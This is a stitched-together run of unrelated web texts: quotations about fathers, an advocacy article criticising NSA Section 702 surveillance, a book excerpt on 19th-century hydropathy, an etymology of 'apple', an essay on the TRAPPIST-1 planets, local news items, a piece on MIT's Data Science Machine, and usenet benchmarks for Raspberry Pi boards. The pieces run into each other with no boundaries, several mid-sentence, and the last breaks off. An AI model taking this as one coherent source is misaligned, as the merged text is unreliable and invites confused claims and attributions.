"You know... fathers just have a way of putting everything together."
Clarence Budington Kelland
"He didn't tell me how to live; he lived, and let me watch him do it."
Gabriel Garcia Marquez
"A man knows when he is growing old because he begins to look like his father."
Lord Chesterfield
"As fathers commonly go, it is seldom a misfortune to be fatherless; and considering the general run of sons, as seldom a misfortune to be childless."
National Urban League Slogan
"Don't make a baby if you can't be a father."
Aldous Huxley
"Sons have always a rebellious wish to be disillusioned by that which charmed their fathers."
Helen Rowland
"A man's desire for a son is usually nothing but the wish to duplicate himself in order that such a remarkable pattern may not be lost to the world."
Austin O'Malley
"The worst misfortune that can happen to an ordinary man is to have an extraordinary father."
Confucius
"The father who does not teach his son his duties is equally guilty with the son who neglects them."
"He who is taught to live upon little owes more to his father's wisdom than he who has a great deal left him does to his father's care."
Charles Wadworth
"By the time a man realizes that maybe his father was right, he usually has a son who thinks he's wrong."
Anonymous
"Small boys become big men through the influence of big men who care about small boys."
Tom Wolfe, The Bonfire of the VanitiesThe most recent disclosure of classified National Security Agency documents revealed that the British spy agency GCHQ sought unfettered access to NSA data collected under Section 702 of the FISA Amendments Act. Not only does this reveal that the two agencies have a far closer relationship than GCHQ would like to publicly admit, it also serves as a reminder that surveillance under Section 702 is a real problem that has barely been discussed, much less addressed, by Congress or the President.
In fact, the “manager’s amendment” to the USA FREEDOM Act, which passed unanimously out of the House Judiciary Committee, has weakened the minimal changes to Section 702 that USA FREEDOM originally offered. Although Representative Zoe Lofgren — who clearly understands the import of Section 702 — offered several very good amendments that would have addressed these gaps, her amendments were all voted down. There’s still a chance, though. As this bill moves through Congress, it can be strengthened by amendments from the floor.
Section 702 has been used by the NSA to justify mass collection of phone calls and emails by collecting huge quantities of data directly from the physical infrastructure of communications providers. Here’s what you should know about the provision and why it needs to be addressed by Congress and the President:
Most of the discussion around the NSA has focused on the phone records surveillance program. Unlike that program, collection done under Section 702 captures content of communications. This could include content in emails, instant messages, Facebook messages, Web-browsing history and more.
Even though it’s ostensibly used for foreign targets, Section 702 surveillance indiscriminately sweeps up everyone’s communication, including the communications of Americans. The NSA has a twisted, and incredibly permissive, interpretation of targeting. As John Oliver put it in his interview with former NSA Director Gen. Keith Alexander: “No, the target is not the American people, but it seems that too often you miss the target and hit the person next to them going, ‘Whoa, him!'”
The NSA has confirmed that it is searching Section 702 data to access American’s communications without a warrant, in what is being called the “back door search loophole.” In response to questions from Senator Ron Wyden, Alexander admitted http://www.wyden.senate.gov/news/press-releases/wyden-udall-on-revelations-that-intelligence-agencies-have-exploited-foreign-intelligence-surveillance-act-loophole that the NSA specifically searches Section 702 data using “U.S. person identifiers,” for example email addresses associated with someone in the U.S.
The NSA has used Section 702 to justify programs like PRISM, allowing the NSA to “siphon off large portions of Internet traffic directly from the Internet backbone.” PRISM exploits the structure of the Internet, in which a significant amount of traffic from around the world flows through servers in the United States. According to The Washington Post, it gives the NSA direct access to servers of major American companies like Facebook and Google.
Section 702 is likely used for computer warfare, including activities targeting computers in the United States. We know that the NSA’s hacking outfit, the Tailored Access Operations Unit, needs information like that collected by PRISM to function, and Richard Ledgett, deputy director of NSA, noted the use of intelligence authorities to mitigate cyberattacks.
The FISA Court has little opportunity to review Section 702 collection. The court approves procedures for 702 collection for up to a year. This is not approval of specific targets, however; “court review [is] limited to ‘procedures’ for targeting and minimization rather than the actual seizure and searches.” This lack of judicial oversight is far beyond the parameters of criminal justice.
Not only does the FISA Court provide little oversight,Congress is largely in the dark about Section 702 collection as well. NSA spying defenders say that Congress has been briefed on these programs. But other members of Congress have repeatedly noted that it is incredibly difficult to get answers from the intelligence community, and that attending classified hearings means being unable to share any information obtained at such hearings. What’s more, as Senator Barbara Mikulski stated: “‘Fully briefed’ doesn’t mean that we know what’s going on.” Without a full picture of Section 702 surveillance, Congress simply cannot provide oversight.
Section 702 is not just about keeping us safe from terrorism. It’s a distressingly powerful surveillance tool. While the justification we’ve heard repeatedly is that NSA surveillance is keeping us safer, data collected under Section 702 can be shared in a variety of circumstances, such as ordinary criminal investigations. For example, the NSA has shared intelligence with the Drug Enforcement Agency that has led to prosecutions for drug crimes, all while concealing the source of the data.
The President has largely ignored Section 702. While the phone records surveillance program has received significant attention from President Barack Obama, in his speeches and his most recent proposal, Section 702 remains nearly untouched.
The way the NSA uses Section 702 is illegal and unConstitutional — and it violates international human rights law. Unlike searches done under a search warrant authorized by a judge, Section 702 has been used by the NSA to get broad FISA court authorization for general search and seizure of huge swathes of communications. The NSA says this is OK because Section 702 targets foreign citizens. The problem is, once Constitutionally protected communications of Americans are swept up, the NSA says these communications are “fair game” for its use.
Innocent non-Americans don’t even get the limited and much abused protections the NSA promises for Americans. Under international human rights law, to which the United States is a signatory, the United States must respect the rights of all persons. With so many people outside the United States keeping their data with American companies and so much information being swept up through mass surveillance, that makes Section 702 the loophole for the NSA to violate the privacy rights of billions of Internet users worldwide.
The omission of Section 702 reform from the discourse around NSA surveillance is incredibly concerning, because this provision has been used to justify some of the most invasive NSA surveillance. That’s why EFF continues to push for real reform of NSA surveillance that includes an end to Section 702 collection. You can help by educating yourself and engaging your elected representatives. Print out our handy one-page explanation of Section 702. Contact your members of Congress today and tell them you want to see an end to all dragnet surveillance, not just bulk collection of phone records.The water cure advised patients to take water in a variety of ways, from steam baths and full tubs to showers and foot and sitz baths. Courtesy of Beacon Press
Excerpted from Marketplace of the Marvelous: The Strange Origins of Modern Medicine by Erika Janik, out now from Beacon Press.
Today, when it seems that most Americans carry a water bottle to drink their eight daily glasses, the importance of water to health seems obvious. But for 19th-century hydropaths, water was more than just a sugar- and calorie-free drink: It was a social good able to cure nearly every disease as well as the social and cultural ills that threatened the health and stability of the nation.
Drinking was not the only way to enjoy water’s munificence, though; water was also to be experienced through elaborate rituals of bathing, showering, soaking, sweating, and wrapping. This diversity of baths, not to mention the idea of bathing itself, was highly unusual for most Americans. In 1835, a letter from a reader in the Boston Moral Reformer asked, “I have been in the habit during the past winter of taking a warm bath every three weeks. Is this too often to follow the year round?” Although it offered cures for disease, hydropathy functioned more as a water-based lifestyle plan with a vision of radically transforming the world through personal health achieved through nature’s purest substance.
Hydropathy grew out of the observations and experiments of Vincent Priessnitz. A peasant born in 1799 on a farm in Grafenberg in Silesian Austria, located in today’s Czech Republic, Priessnitz discovered water’s potential as a cure-all after an 1816 farm accident. One day while he was baling hay, a runaway horse and wagon trampled the teenaged Priessnitz, leaving him with several broken ribs and a bruised left arm. The doctor from a nearby town told him that the severity of his injuries made it unlikely he’d ever work again. Priessnitz, however, refused to accept this prognosis. He wrapped himself in wet cloths and ate very little while consuming large quantities of cold water. To reset his broken ribs, he pressed his abdomen against a chair and inhaled deeply, allowing the expansion of his chest to push his ribs back into place. Priessnitz eventually recovered from his injuries, and the success of his self-cure led him to broaden his investigation into the curing power of water.
Priessnitz sought not only to wash disease away but to deny it entry into the body through a healthy lifestyle of diet and exercise. Priessnitz argued that filth and a poor diet gave disease easy access into the body. In The Hydropathic Encyclopedia, American hydropath Dr. Russell Trall explained that disease was “produced by bad air, improper light, impure food and drink, excessive or defective alimentation, indolence or over-exertion, [or] unregulated passion.” For Trall, it all boiled down to “unphysiological voluntary habits.” In other words, sickness resulted from laziness, a lack of exercise, and junk food, the familiar chords of obesity debates to this day.
Perhaps hydropathy’s most visible legacy is in the popularly held belief in drinking eight glasses of water a day. This notion was appropriated and echoed with increasing fervor in the late 19th century by the temperance movement. By the 1910s and 1920s, American newspapers and magazines were filled with exhortations to consume eight glasses of water for health on a daily basis. Although scientists and doctors continue to disagree over how much water is enough, the idea of drinking fluids regularly for health remains undisputed.
Priessnitz’s water cure became renowned throughout the Western Hemisphere. Visitors marveled at Priessnitz’s ability to diagnose disease and devise a treatment plan simply by studying the quality and cast of a patient’s skin. He never checked the pulse, looked at the tongue, or asked patients about their complaints. By 1840, nearly 1,700 patients per year sought treatment at Grafenberg.
Priessnitz’s success spurred countless imitators and admirers. The first water cure in the United States opened its doors in 1843, followed by a second the next year. Both were in New York City and were operated by disillusioned regular doctors. But it was Mary Gove Nichols and her husband, Thomas, who made hydropathy famous. Born in Goffstown, N.H., in 1810, Mary Sargeant Neal was the precocious daughter of a freethinking father who encouraged her active and curious mind. As a teenager, she pored over the pages of the books her medical-student brother brought home, fascinated by the workings of the human body but perhaps also wondering why she could find so little information on the health of women like herself.
An unhappy marriage in 1831 to Hiram Gove, who disdained her reading and creative writing, helped turn Mary into a champion of women’s rights and a prominent health reformer. To ease her mental and physical suffering, Mary defied her husband and turned back to the medical books that had so enthralled her as a child. She discovered Sylvester Graham, an early advocate of dietary reform, vegetarianism, and hygienic reform and determined that women’s well-being and happiness depended on the freedom achieved through personal health. Excited by her newfound knowledge, Mary wanted to tell other women of the salvation that could be found in knowing about and taking charge of their own bodies.
In 1838, Mary made a name for herself lecturing (a scandal in and of itself for a woman) on the shocking topics of women’s health, anatomy, and physiology. Women’s health was a topic rarely, if ever, discussed at the time, much less in public. With no female regular doctors, many women ignored their own health problems and endured in silence to avoid being seen by male doctors, which social mores deemed improper. Hundreds packed lecture halls to see the thin, dark-haired woman with an open and intelligent face and exuberant brown eyes discuss the healthy female body.
In the summer of 1845, finally free of her husband, Mary traveled to Brattleboro, Vt., to investigate Priessnitz disciple Dr. Robert Wesselhoeft’s Hydropathic Institution—one of the most exclusive and expensive water cures in the United States. Impressed by what she saw, she began training as a water-cure physician, offering physiology lessons to patients in exchange for her education.
While Priessnitz’s original system called for water to be used both internally and externally, most American hydropaths believed that water worked best when applied gradually through the skin. The wet sheet became the standard method of application. First, the attendant would dip a sheet of cotton or linen in cold water and spread it on several thick wool blankets. The patient would then be wound up in the sheet and blankets by the attendant and secured with pins or tape. Once wrapped, patients would shiver and then lie sweating on feather beds for anywhere from 25 minutes to several hours depending on the seriousness of the illness. After they worked up a good sweat, the attendant unwrapped them and plunged them in a cold bath followed by a brisk drying. For severely debilitated patients, the wet-sheet treatment could be too much, so an alternative known as the wet dress was used instead. A loose-fitting nightgown-like garment, the wet dress allowed patients to dispense with the services of an attendant and to walk comfortably while also soaking up water. Most wet-dress patients also went to bed in the outfit, a damp and presumably clammy night of sleep.
Wesselhoeft taught his students, Mary among them, the art of individual prescription, adapting cures to each patient’s symptoms, stamina, and age. “The same treatment that would cure one might fail entirely with another,” she later noted.
After three months in Brattleboro, Mary moved to New York City in 1846 and began giving lectures and writing articles and books on health and hydropathy.
Though she’d never attended medical school, by the late 1840s, she led a doctor’s life and had earned a reputation as a trustworthy medical expert. Mary’s husband, Hiram Gove, finally consented to a divorce in 1847. That same year she met a young writer named Thomas Low Nichols, whose writing and progressive views on women she admired. The two married the following July. Inspired by his new wife’s work in hydropathy, Thomas enrolled in medical school to study “the very errors and absurdities” of regular medicine, graduating from New York University with his medical degree in 1850.
Most hydropaths believed that the only qualifications necessary to practice should be a personal commitment to the principles of hydropathy and a willingness and ability to practice them responsibly. Unlike regular medicine, hydropaths de-emphasized the authority of the physician in favor of creating independent patients able to diagnose and care for themselves. Patients thus had a substantial responsibility for their own outcomes. “If a patient thoroughly understands his or her disease, and has the requisite energy to accomplish a cure,” wrote Mary, “it may be done almost anywhere, and with very meager advantages.” She recounted stories of female patients who managed to heal themselves |
fruit; fruit in general," from Proto-Germanic *ap(a)laz (source also of Old Saxon, Old Frisian, Dutch appel, Old Norse eple, Old High German apful, German Apfel), from PIE *ab(e)l- "apple" (source also of Gaulish avallo "fruit;" Old Irish ubull, Lithuanian obuolys, Old Church Slavonic jabloko "apple"), but the exact relation and original sense of these is uncertain (compare melon).
A roted eppel amang þe holen, makeþ rotie þe yzounde. ["Ayenbite of Inwit," 1340]
In Middle English and as late as 17c., it was a generic term for all fruit other than berries but including nuts (such as Old English fingeræppla "dates," literally "finger-apples;" Middle English appel of paradis "banana," c. 1400). Hence its grafting onto the unnamed "fruit of the forbidden tree" in Genesis. Cucumbers, in one Old English work, are eorþæppla, literally "earth-apples" (compare French pomme de terre "potato," literally "earth-apple;" see also melon). French pomme is from Latin pomum "apple; fruit" (see Pomona).
As far as the forbidden fruit is concerned, again, the Quran does not mention it explicitly, but according to traditional commentaries it was not an apple, as believed by Christians and Jews, but wheat. ["The Heart of Islam: Enduring Values for Humanity," Seyyed Hossein Nasr, 2002]
Apple of Discord (c. 1400) was thrown into the wedding of Thetis and Peleus by Eris (goddess of chaos and discord), who had not been invited, and inscribed kallisti "To the Prettiest One." Paris, elected to choose which goddess should have it, gave it to Aphrodite, offending Hera and Athene, with consequences of the Trojan War, etc.
Apple of one's eye (Old English), symbol of what is most cherished, was the pupil, supposed to be a globular solid body. Apple-polisher "one who curries favor" first attested 1928 in student slang. The image in the phrase upset the apple cart "spoil the undertaking" is attested from 1788. Road-apple "horse dropping" is from 1942.Written speculation about life beyond the confines of Earth dates back thousands of years, to the time of the Greek philosophers Epicurus and Democritus. Unrecorded curiosity about this question undoubtedly goes back much further still. Remarkably, today’s generation seems about to get an answer from the study of exoplanets – planets orbiting other stars than the Sun. The early results are upending many assumptions from that long history.
Two months ago, our research team at the University of Cambridge and the University of Liège in Belgium reported that a nearby star, called TRAPPIST-1A, is orbited by seven planets similar in size and mass to Earth. All seven planets are temperate, meaning that under the right atmospheric and geologic conditions, they could sustain liquid water. Three of the planets show particular potential for habitability, receiving about as much energy from their star as the Earth receives from the Sun.
Our discovery received ecstatic and gratifying news coverage around the world. In many ways, though, the TRAPPIST-1 system is an odd place to look for life. The central star is just 1/12th the mass of the Sun and scarcely bigger than the planet Jupiter. It gives off just 0.05 per cent as much light as the Sun. TRAPPIST-1A belongs to a class that we call ultra-cool dwarfs, the very smallest stars that exist.
Searching for habitable planets around ultra-cool dwarfs has long been considered a waste of time. Even as astronomers found that exoplanetary systems are generally different from the solar system, old attitudes lingered. The Earth and Sun appear so normal and hospitable to our eyes that we get blinded by their attributes. Major programmes are therefore directed at finding an Earth twin: a planet the mass and size of our own, orbiting a star just like the Sun, at the same Earth-Sun distance. The detection of such a world remains decades away.
In the effort to answer the question ‘Is there life elsewhere?’ the focus on Earth twins is perceived as a safe path, since we can expect that similar conditions will lead to similar results (at least part of the time). However, we argue that this is far too conservative a goal, considering the huge number and diversity of available planets. That is part of the message of TRAPPIST-1. Research should be about finding what we don’t already know. Identifying a life-bearing Earth twin would be a resounding scientific success, but it would teach little about the overall emergence of biology in the Universe.
Our ambition is wider. Instead, we seek an answer to ‘How frequently is life found elsewhere?’ This simple change of words means that we should also be investigating planetary systems unlike the solar system. It would be disappointing and surprising if Earth were the only template for habitability in the Universe. Sun-like stars represent just 15 per cent of all stars in the Milky Way. More than half of those, in turn, exist in binary star systems that have also been disregarded as being too different from the conditions present in the solar system. The search for Earth twins therefore covers a nearly insignificant fraction of all the outcomes in nature.
Once we reset the goal to measuring the total frequency of biology, ultra-cool dwarfs become an obvious target. Half the stars in the Milky Way have masses less than one-quarter of the Sun’s. Our preliminary results suggest that rocky worlds are common orbiting low-mass stars, including ultra-cool dwarf system, possibly more so than in orbit around Sun-like stars. Ultra-cool dwarfs also open a much easier route to detecting and studying temperate, Earth-like planets.
The scientific advantages of ultra-cool dwarfs come from their stellar properties, from how we identify exoplanets, and from how we expect to investigate their atmospheres. The TRAPPIST-1 planets were found as they passed in front of their star, events known as transits. When the planet transits, it casts a shadow whose depth tells us how much of the stellar surface is being hidden by the planet; the bigger the planet, the deeper the shadow. Because ultra-cool dwarfs are so small, the transit of an Earth-sized planet in front of TRAPPIST-1A is approximately 80 times as prominent as an equivalent transit against a much larger, Sun-like star.
During a transit, any gases in the planet’s atmosphere change the appearance of starlight streaming through. Around ultra-cool dwarfs, the atmospheric signature is boosted by about a factor of 80. The atmospheric composition of the TRAPPIST-1 planets will be detectable using current and upcoming facilities, such as the James Webb Space Telescope launching in 2018, unlike the decades of technological development needed to study an Earth twin. Extracting a reliable atmospheric signal requires observing dozens of transits. Here, too, systems such as TRAPPIST-1 have huge advantages. Around tiny ultra-cool dwarfs, transits of temperate planets happen once every few days to every couple of weeks, instead of once a year for a planet exactly like Earth.
Astronomers, including ourselves, have already begun investigating the compositions of giant planets around other stars, detecting molecules such as water, carbon monoxide, methane, and hydrogen cyanide. With the discovery of the TRAPPIST-1 system, we can extend those explorations to Earth-sized planets. Our first efforts will be to characterise the greenhouse gas content of atmosphere, and assess whether the surface conditions are conducive for liquid water. Then we will seek out signs of biologically produced gases, analogous to ways that living organisms have transformed the composition of Earth’s atmosphere.
Claiming a discovery of life will be hard. We cannot rely on the detection of a single gas but instead will need to detect several, and will need to measure their relative abundances. In addition, we will have to be extremely wary of false positives. For instance, repeated stellar flares could build up oxygen in an atmosphere without the presence of life. The richness of the TRAPPIST-1 system is an important asset, because we can compare its planets to one another. All seven planets originated from the same nebular chemistry; they share a similar history of receiving flares and meteoritic impacts. Weeding out false positives will be much easier here than in planetary systems containing only one or two temperate, potentially Earth-like worlds.
More important, TRAPPIST-1 is not a one-off discovery. Ultra-cool dwarf stars are so common that there could be numerous other similar systems close to us in the galaxy. The TRAPPIST (Transiting Planets and Planetesimals Small Telescopes) facility we used to find the TRAPPIST-1 planets was just the prototype of a more ambitious planet survey called SPECULOOS (Search for habitable Planets Eclipsing Ultra-Cool Stars), which has already begun operations. We expect to find many more Earth-sized, rocky planets around dwarf stars within the next five years. With this sample in hand, we will explore the many climates of such worlds. The solar system contains two: Venus and Earth. How many different types of environments will we discover?
Using SPECULOOS, we will also begin to address the many objections scientists have raised about the habitability of planets around ultra-cool dwarfs. One argument is that such planets will be tidally locked, meaning that they have permanent day and night sides. Planets orbiting in close proximity around small stars could excite each other’s orbits, leading to major instabilities. Ultra-cool dwarf stars frequently flare up, emitting ultraviolet and X-rays that might vaporise a planet’s oceans into space.
Far from holding us back, those arguments motivated us. Now we can assess the actual conditions, and explore counter-arguments that Earth-sized planets around stars such as TRAPPIST-1A might in fact be hospitable to life. Oceans and thick atmospheres could mitigate the temperature contrast between day and night sides. Tidal interaction between close-orbiting planets might provide energy for biology. Some models suggest that planets forming around ultra-cool dwarfs start out with much more water than Earth has. Ultraviolet radiation could help to produce biologically relevant compounds… We are optimistic.
No matter what we find by studying planets orbiting ultra-cool dwarfs, we cannot lose. We can only learn. If we manage to identify the presence of life on a planet similar to those in the TRAPPIST-1 system, then we can start measuring how frequently biology emerges in the universe. We could have the first clues of extraterrestrial biology in a decade! If we find that none of those worlds is habitable, or that they are habitable but barren, we would learn that life is rare and precious. It will vindicate the Earth-twin approach without delaying it.
In either case, we will define the context of our existence: as one among many, or as an isolated outlier. Both possibilities are humbling. Both are thrilling.One day, they may be used for weather prediction, oil and gas industry ocean operations, or even to police illegal fishing.
Mr. Jenkins has a much grander vision. He believes the missing piece of the puzzle to definitively comprehend the consequences of global warming is scientific data. He envisions a fleet of thousands or even tens of thousands of his 23-foot sailboats creating a web of sensors across the world’s oceans.
Vast amounts of data collected by his robots could reveal with greater detail the extent and rate at which global warming might become an existential threat to humanity and whether it is happening in decades rather than centuries.
That is, if someone is willing to pay for all that. The boats are not sold — the scientists, commercial fisherman and weather predictors pay a $2,500-a-day fee per boat for the data they produce.
Image Richard Jenkins uses a smartphone to plug in coordinates and communicate with the drone. Credit Jason Henry for The New York Times
Saildrone got its start with $2.5 million in grants from Eric Schmidt, Google’s executive chairman, and his wife, Wendy Schmidt. And Mr. Jenkins’s company recently received $14 million in financing from three socially minded venture capital firms: Social Capital, Lux and Capricorn.
“My interest in Saildrone is very practical,” said Chamath Palihapitiya, a former Facebook executive who is the founder of Social Capital. “Let’s stop arguing about what is happening, and let’s measure. Once you have data and it’s statistically significant and valid, then we can get to the next step, which is to find what the structural reforms are that need to happen.”
Each boat is packed with an armory of scientific sensors that beam data back to the control center.
“It’s not so much taking the earth’s temperature as it is its pulse,” said Mr. Jenkins, a 39-year-old, tousle-haired mechanical engineer who was trained at Imperial College London.NEWARK, NJ — As Newark Liberty International Airport prepares for an upcoming, multi-billion-dollar redevelopment boon, local officials have alerted area job seekers and business owners to a pair of upcoming opportunities at the bustling airport.
According to a City of Newark social media post, the Council for Airport Opportunity (CAO) will host an "Aviation Job Fair" for job seekers in the Essex County area from 10 a.m. to 3 p.m. on Thursday, May 4, at Newark Airport's Terminal B, Level 1.
Pre-registration is required and can be done by calling 973-878-3874, or visiting Newark Works' facility at 1008 Broad Street in Newark.
Job fair participants should bring multiple copies of their resumes and dress in professional attire, the flyer states. For more information contact the CAO at 973-622-4537, or visit www.caonynj.com.
The job fair is sponsored by the City of Newark and the Port Authority of NY/NJ.
Don't forget to visit the Patch Newark Facebook page here.
MINORITY, FEMALE BUSINESS OWNERS WANTED
Newark city officials and Newark Airport administrators will hold an outreach forum for local minority and women-owned businesses in connection with upcoming economic opportunities at the airport from 8:30 a.m. to 1 p.m. on Wednesday, April 19 at the Newark Liberty International Airport Marriott Hotel.
According to a city news release, the event will highlight contracting opportunities that may arise from the airport's $2.4-billion Terminal A Redevelopment Program.
Port Authority Executive Director Pat Foye estimated that the project is expected to generate 9,000 job years, $600 million in wages and $3.3 billion in economic activity.
The Port Authority's stated goal is to award 12 percent of contracts to minority-owned businesses and five percent of contracts to women-owned businesses.
"This is an important event for all minority- and female-owned business enterprises that are seeking opportunities for their employees, their businesses and all of Newark," Mayor Ras Baraka said. "The airport's expansion and redevelopment will make America's greatest airport a more efficient and prosperous facility and add luster to Newark's role as a destination for business, tourism, and residency."
Send local news tips, photos and press releases to eric.kiefer@patch.com
Photo: Port Authority of NY/NJRichard Raddon, the director of the Los Angeles Film Festival who has been at the center of controversy ever since it was revealed almost two weeks ago that he had contributed $1,500 to the campaign to ban gay marriage in California, resigned from his post over the weekend.
The nonprofit arts organization Film Independent sponsors both the Los Angeles Film Festival, held in May, and the popular Independent Spirit awards. Raddon is a member of the Mormon Church, which actively called on its congregants to work for the passage of Proposition 8, the constitutional amendment defining marriage as only between a man and a woman. It has been estimated that Mormons gave more than $20 million in support of the recently passed ballot measure.
After Raddon's contribution was made public online, Film Independent was swamped with criticism from "No on 8" supporters both inside and outside the organization. Within days, Raddon offered to step down as festival director, but the board, which includes Don Cheadle, Forest Whitaker, Lionsgate President Tom Ortenberg and Fox Searchlight President Peter Rice, gave him a unanimous vote of confidence.
Yet, the anti-Raddon bile continued to bubble in the blogosphere, and according to one Film Independent board member, "No on 8" supporters also berated Raddon personally via phone calls and e-mails. The recriminations ultimately proved too much, and when Raddon offered to resign again, this time the board accepted.Traditionally computers are great at crunching numbers, but lousy at understanding what they mean. But a team of researchers at the Massachusetts Institute of Technology thinks it's cracking that problem.
A new paper, to be presented at next week's IEEE International Conference on Data Science and Advanced Analytics, details the evolution of the university's Data Science Machine – a sort-of AI system that is adept at spotting trends and patterns in large chunks of data.
MIT ran the machine as a ringer in three human data science tournaments and had considerable success. Out of 906 human teams in the competition to find patterns in data fields, the computer system beat 615 of them.
The Data Science Machine managed to get within 87 and 96 per cent of the accurate answers submitted by human competitors. But, crucially, the Data Science Machine managed to do the job much faster than its fleshy competitors – human teams took weeks to divine patterns from the data while the computer took a maximum of 12 hours.
"We view the Data Science Machine as a natural complement to human intelligence," said Max Kanter, who built the Data Science Machine as part of his PhD.
"There's so much data out there to be analyzed. And right now it's just sitting there not doing anything. So maybe we can come up with a solution that will at least get us started on it; at least get us moving."
In the competitions, contestants were asked to examine large, relatively unstructured databases to look for contributory factors for functions like students dropping out of a course or the likelihood of a customer repeating a purchase at an ecommerce site.
The MIT team suggests that the computer system could be used to establish a baseline of results to check against a human response. As it gets refined, it may be possible to get extra insights by matching artificial and human operators against each other.
"The Data Science Machine is one of those unbelievable projects where applying cutting-edge research to solve practical problems opens an entirely new way of looking at the problem," said Margo Seltzer, professor of computer science at Harvard University who reviewed the study. "I think what they've done is going to become the standard quickly – very quickly."
In other words, if you're in information sciences, then it might be time to get worried about the competition. ®Downloading from usenet almost always require some post-processing. Repairing missing articles using PAR2 files requires a lot of CPU power while unpacking files requires a fast I/O system – think SATA being faster than USB in terms of input and output. I discussed this at great length with NZBGet’s developer hugbug who shares the same passion for the scientific method and data that I do and together we prepared nzb files and a battery of tests that show how long Raspberry Pi and its alternatives take to post process releases. This took a whole week of preparation and testing but I cannot think of a more comprehensive and reasonable way to evaluate these devices as usenet downloaders for a low powered ARM media server.
Raspberry Pi 2 vs Banana Pi Pro unRAR PAR2 Benchmarks
Hardware and Software
I used a Raspberry Pi and Pi 2 both running Minibian and a Banana Pi running Bananian. No devices were overclocked, so the table reflects the speeds used in these tests.
Pi Unit Processor RAM RAM Bus Network WiFi USB SATA Cost Raspberry Pi 3 1.2 GHz ARMv8
Quad Core 1 GB DDR2 450 MHz 100 Mbit Yes 4 No $35 Raspberry Pi 2 900 MHz ARMv7
Quad Core 1 GB DDR2 450 MHz 100 Mbit No 4 No $35.00 Raspberry Pi 700 MHz ARMv6
Single Core 512 MB SDRAM 400 MHz 100 Mbit No 4 No $25 Banana Pi 1 GHz ARMv7
Dual Core 1 GB DDR3 432 MHz Gigabit No 2 Yes $36.99 Banana Pi Pro 1 GHz ARMv7
Dual Core 1 GB DDR3 432 MHz Gigabit Yes 2 Yes $45.00
The same 160 GB 7200 RPM 2.5″ Hard Drive formatted as ext4 used in my other benchmarks along with a Banana Pi SATA Cable was the storage device in all tests.
NZBGet and Sabnzbd were tested. NZBGet had QuickPar enabled with multithreaded PAR2 repair support. Sabnzbd only has multithreaded CPU support for x86 and x64 platforms.
Other options like ArticleCache used to speed up processing made no significant difference in the unRAR and PAR2 tests so were not included. Using an SSD hard drive made no difference either.
unRAR Benchmarks
1.2 GB, 4.7 and 8 video files were packaged using RAR5 format with the store setting meaning there was minimal compression.
The latest unrar 5.2.1 was installed on all devices which is used by both Sabnzbd and NZBGet.
USB unRAR
Unpacking a 1.2 GB video file ranged from 1:30 to 2:46 which should be acceptable to most users.
Unpacking a 4.7 GB video file took anywhere from 6 minutes to 11 minutes.
Unpacking an 8 GB video file took 11 minutes to over 20 minutes.
For all of these unpacking tests on USB, the Raspberry Pi 2 and Banana Pi are similar in performance.
USB vs SATA unRAR
I wanted to test whether SATA vs USB mattered for unpacking rared media files.
The 1.2 GB file took 1 minute and 30 seconds on the Raspberry Pi 2 and 1 minute and 3 seconds on the Banana Pi using SATA.
The 4.7 GB file took 6 minutes on the Raspberry Pi 2 and 4 minutes on the Banana Pi using SATA.
The 8 GB file took 11 minutes and 33 seconds on the Raspberry Pi 2 and 7 minutes and 42 seconds on the Banana Pi.
Overall, using SATA on the Banana Pi results in roughly a 33% speed improvement over USB on the Pi 2.
It is important to note that if you use password protected rar files then the unpacking times will be significantly higher because decryption is a very CPU intensive task. I cannot recommend unpacking large encrypted rar files on any of these devices unless you are incredibly patient.
PAR2 Benchmarks
The same video files were packaged using AutoRarPar with a 38400 block size for the PAR2 files and 50 MB for the rar file size.
The nzb files were manipulated to have 8 missing articles each which is unlikely to happen often in real life and is closer to representative of a worst case scenario – though you can have significantly more damaged nzbs if you are extremely unlucky.
The hard drive was connected via USB on all the devices. I did some preliminary tests using SATA and there was no benefit for PAR2 files.
Repair Time
1.2 GB PAR2 Repair
The Raspberry Pi took over 4 minutes in both Sabnzbd and NZBGet – 33 seconds per block
The Raspberry Pi 2 and Banana Pi took around 2 minutes in Sabnzbd – 20 seconds per block
The Raspberry Pi 2 took 1 minute and 10 seconds whereas the Banana Pi took 1 minute and 30 seconds which is 10 seconds per block
The Raspberry Pi 2’s quad core CPU is finally getting put to some use in these benchmarks making it the winner.
You can see that on these low powered units with multiple CPU cores, using NZBGet with its multithreaded PAR feature can halve your repair time.
4.7 GB PAR2 Repair
The Raspberry Pi takes over 14 minutes in both Sabnzbd and NZBGet
The Raspberry Pi 2 repaired the 4.7 GB release in 8 minutes and 19 seconds in Sabnzbd, in NZBGet it took 4 minutes and 14 seconds.
The Banana Pi took over 5 minutes in Sabnzbd and NZBGet
8 GB PAR2 Repair
The Raspberry Pi took over 25 minutes to repair in Sabnzbd and NZBGet for the 8 GB release
The Raspberry Pi 2 took 16 minutes in Sabnzbd but only 7 minutes and 51 seconds in NZBGet
The Banana Pi took 12 minutes and 24 seconds in Sabnzbd and only 9 minutes and 31 seconds in NZBGet
The Raspberry Pi 2 with NZBGet is the clear winner because of its 4 CPU cores slightly beating the Banana Pi by at least a minute for larger releases.
Full PAR2 Repair and unRAR
This section gives an overview and breakdown of how long each process component takes on each device in Sabnzbd and NZBGet so you can get an idea of how long it will take to completely verify, repair and unpack various release sizes. For these tests the Raspberry Pi and Pi 2 had the hard drive connected via USB while the Banana Pi had the hard drive connected via SATA.
The same nzbs that were intentionally damaged and used in the PAR2 repair tests were also used here. The PAR2 numbers are from the PAR2 section but the unRAR data here is new (i.e. not from the unRAR section above), the PAR2 verify times were included here as well since they are a necessary part of post processing. You may be wondering why I didn’t make a separate section showing verification times between Sabnzbd and NZBGet, when you see the verification times in the graph you will understand why.
Note that unpack times are higher here and do not necessarily reflect the times for all releases. AutoRarPar did not let me choose the store setting and defaults to normal compression. Your times could easily be 50% faster if you compare the unRAR times to unpack times in this section!
1.2 GB Complete Process
1.2 GB is typical for standard quality video files.
The Raspberry Pi took 11 minutes in Sabnzbd and 8 minutes and 29 seconds in NZBGet
The Raspberry Pi 2 took 6 minutes and 25 seconds in Sabnzbd and 3 minutes and 41 seconds in NZBGet
The Banana Pi took 5 minutes and 38 seconds in Sabnzbd and 3 minutes and 42 seconds in NZBGet
On the Raspberry Pi 2 and Banana Pi this should be an acceptable post processing time for a 1.2 GB release
4.7 GB Complete Process
4.7 GB is typical for low HD quality video files in 720p resolution.
The Raspberry Pi took 40 minutes in Sabnzbd and almost 33 minutes in NZBGet
The Raspberry Pi 2 took 23 minutes and 10 seconds in Sabnzbd and almost 14 minutes in NZBGet
The Banana Pi took almost 18 minutes in Sabnzbd and almost 14 minutes in NZBGet
8 GB Complete Process
